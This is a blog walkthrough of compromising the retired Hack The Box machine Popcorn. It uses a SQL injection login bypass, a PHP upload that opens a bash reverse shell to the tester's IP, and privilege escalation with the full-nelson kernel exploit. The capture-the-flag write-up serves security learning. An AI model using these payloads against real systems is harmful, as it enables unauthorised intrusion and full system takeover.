Skip to main content

HacktheBox - Retired - Popcorn - Updated

HacktheBox - Retired - Popcorn



Recon


I've been using threader 3000 for my recon scans lately. It's a threaded python scanner that does a quick up/down scan on all tcp ports. After the initial scan it suggests a nmap scan to run based on only the open ports found in the initial scan. I like it alot 



I then convert the XML the tool generates into HTML to make it pretty.



xsltproc ./popcorn.htb/popcorn.htb.xml -o ./popcorn.html




Port 22 OpenSSH 5.1p1
Port 80 Apache 2.2.12


Just two porst, a very old version of OpenSSH on port 22 and a very old version of Apache 2.2.12


Let's see what we can see on port 80



Just a page that says it's working.


So as part of web recon, we now can see what they want us to see, but how about other things that aren't part of this index.html that the web server is hosting?


For this we will do a directory/file brute force on the web server to see if it is indeed serving up anything other than just this index.html





GENERATED WORDS: 4612                                                         

---- Scanning URL: http://popcorn.htb/ ----
+ http://popcorn.htb/cgi-bin/ (CODE:403|SIZE:287)                                                                                                                            
+ http://popcorn.htb/index (CODE:200|SIZE:177)                                                                                                                               
+ http://popcorn.htb/index.html (CODE:200|SIZE:177)                                                                                                                          
+ http://popcorn.htb/server-status (CODE:403|SIZE:292)                                                                                                                       
+ http://popcorn.htb/test (CODE:200|SIZE:47337)                                                                                                                              
==> DIRECTORY: http://popcorn.htb/torrent/                                                                                                                                   
                                                                                                                                                                             
---- Entering directory: http://popcorn.htb/torrent/ ----
==> DIRECTORY: http://popcorn.htb/torrent/admin/                                                                                                                             
+ http://popcorn.htb/torrent/browse (CODE:200|SIZE:9278)                                                                                                                     
+ http://popcorn.htb/torrent/comment (CODE:200|SIZE:936)                                                                                                                     
+ http://popcorn.htb/torrent/config (CODE:200|SIZE:0)                                                                                                                        
==> DIRECTORY: http://popcorn.htb/torrent/css/                                                                                                                               
==> DIRECTORY: http://popcorn.htb/torrent/database/                                                                                                                          
+ http://popcorn.htb/torrent/download (CODE:200|SIZE:0)                                                                                                                      
+ http://popcorn.htb/torrent/edit (CODE:200|SIZE:0)                                                                                                                          
==> DIRECTORY: http://popcorn.htb/torrent/health/                                                                                                                            
+ http://popcorn.htb/torrent/hide (CODE:200|SIZE:3765)                                                                                                                       
==> DIRECTORY: http://popcorn.htb/torrent/images/                                                                                                                            
+ http://popcorn.htb/torrent/index (CODE:200|SIZE:11356)                                                                                                                     
+ http://popcorn.htb/torrent/index.php (CODE:200|SIZE:11356)                                                                                                                 
==> DIRECTORY: http://popcorn.htb/torrent/js/                                                                                                                                
==> DIRECTORY: http://popcorn.htb/torrent/lib/                                                                                                                               
+ http://popcorn.htb/torrent/login (CODE:200|SIZE:8371)                                                                                                                      
+ http://popcorn.htb/torrent/logout (CODE:200|SIZE:182)                                                                                                                      
+ http://popcorn.htb/torrent/preview (CODE:200|SIZE:28104)                                                                                                                   
==> DIRECTORY: http://popcorn.htb/torrent/readme/                                                                                                                            
+ http://popcorn.htb/torrent/rss (CODE:200|SIZE:964)                                                                                                                         
+ http://popcorn.htb/torrent/secure (CODE:200|SIZE:4)                                                                                                                        
+ http://popcorn.htb/torrent/stylesheet (CODE:200|SIZE:321)                                                                                                                  
==> DIRECTORY: http://popcorn.htb/torrent/templates/                                                                                                                         
+ http://popcorn.htb/torrent/thumbnail (CODE:200|SIZE:1789)                                                                                                                  
==> DIRECTORY: http://popcorn.htb/torrent/torrents/                                                                                                                          
==> DIRECTORY: http://popcorn.htb/torrent/upload/                                                                                                                            
+ http://popcorn.htb/torrent/upload_file (CODE:200|SIZE:0)                                                                                                                   
==> DIRECTORY: http://popcorn.htb/torrent/users/                                                                                                                             
                                                                                                                                                                             
---- Entering directory: http://popcorn.htb/torrent/admin/ ----
+ http://popcorn.htb/torrent/admin/admin (CODE:200|SIZE:2988)                                                                                                                
+ http://popcorn.htb/torrent/admin/admin.php (CODE:200|SIZE:2988)                                                                                                            
==> DIRECTORY: http://popcorn.htb/torrent/admin/images/                                                                                                                      
+ http://popcorn.htb/torrent/admin/index (CODE:200|SIZE:80)                                                                                                                  
+ http://popcorn.htb/torrent/admin/index.php (CODE:200|SIZE:80)                                                                                                              
==> DIRECTORY: http://popcorn.htb/torrent/admin/templates/                                                                                                                   
+ http://popcorn.htb/torrent/admin/users (CODE:200|SIZE:80)                   





There is a /torrent/ directory let's check it out


Some software called torrent hoster.



So we have a login on this page, one of the first things I like to do when I see a login is see if it uses some sort of default easy creds like admin/admin, admin/password, admin/123456 or some such super low hanging fruit.  If those don't work then I try just some generic SQL injections to see if we can get in that way.




Exploit


Using this sqli for a username we were able to authenticate as admin


admin'or'1'='1






OK so this looks like a torrent repo, where we can list torrent files. We can upload a new torrent to list on the site…. This is juicy.. If we can upload we can try to exploit.


I tried to upload a generic python script as a torrent to see what would happen.




I downloaded and ubuntu torrent to try to upload.



Cool, we can upload torrents to a torrent site...ok



Ok we can upload a screenshot too

I tried to upload my avatar





Let's see if we can sneak some php by this upload filter.


My goal is to try and capture the upload in burpsuite and insert some php inline during the transfer.



So first let's fire up burpsuite and capture a legit upload of a picture.





Now we send that over to repeater in burpsuite.


Now we will edit the file name to be .php instead of .jpg

And insert our php code somewhere inside of the jpeg transfer


Here is the PHP we are inserting.


<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.19/5555 0>&1'");
?>




We get a 200 back from the server so it looks like we did upload successfully.








We should set up our netcat listener now


nc -lnvp 5555





Now we just need to find a way to run the php we inserted.



Poking around we find the directory where it places these uploaded files



popcorn.htb/torrent/upload/



It renamed our file to some hash….  It appears to be a sha1 hash of the torrent we uploaded.


Ok, now if we click on the php hopefully we get our shell.



We did!! Congrats!


From here we can poke around and find that we can read the user.txt in the /home/george folder




I upgraded to a bit of better shell with python since this machine had python installed on it.


python -c 'import pty; pty.spawn("/bin/bash")'



I found this th_database.sql file in /var/www/torrent/database/



And it has this inside.



Looks like a md5 hash for the admin password.  I just googled the hash and found that it is admin12


I tried to login with admin/admin12 on the torrent site and it doesn't work, I'm guessing the password had been changed after this file was created.


I looked up exploits for this version of linux and came across this one…

https://github.com/lucyoa/kernel-exploits/blob/master/full-nelson/full-nelson.c



So i downloaded a copy to my kali box and used nc to get it over to popcorn



Then used netcat on popcorn to xfer the file



Then all we need to do is compile using gcc


gcc ./fn.c -o fn





from here we can reach /root/root.txt











Comments

Popular posts from this blog

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar...

Hack The Box - Retired - Laboratory

HackTheBox - Laboratory - Retired Starting off with a quick scan using threader6000 /opt/threader3000/threader6000.py 10.10.10.216 Ports 22,80,443 came back. Run nmap against these ports. nmap -p22,80,443 -sV -sC -T4 -Pn -oN 10.10.10.216 10.10.10.216 nmap -p22,80,443 -sV -sC -Pn -T4 -oN 10.10.10.216 10.10.10.216 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-13 17:43 EDT Nmap scan report for laboratory.htb (10.10.10.216) Host is up (0.060s latency). PORT    STATE SERVICE  VERSION 22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA) |   256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA) |_  256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519) 80/tcp  open  http     Apache httpd 2.4.41 |_...

A collection of online Security CTF and Learning sites

 Hellbound Hackers    Embedded Security CTF Arizona Cyber Warfare Range Over The Wire - Bandit Pico CTF 2018 Hack The Box.eu Root Me: Challenges/Forensic RingZero CTF Vulnerable By Design - Vulnerable VMs Murder Mystery SQL Challenge Incident Response Challenge Authentication Lab Walkthroughs Defcon CTF Archives Matrix Holiday Hack Cyber Defenders | Blue Team and CTF Crypto Hack - learning Crypto Video Learning Zero to Hero Pentesting by The Cyber Mentor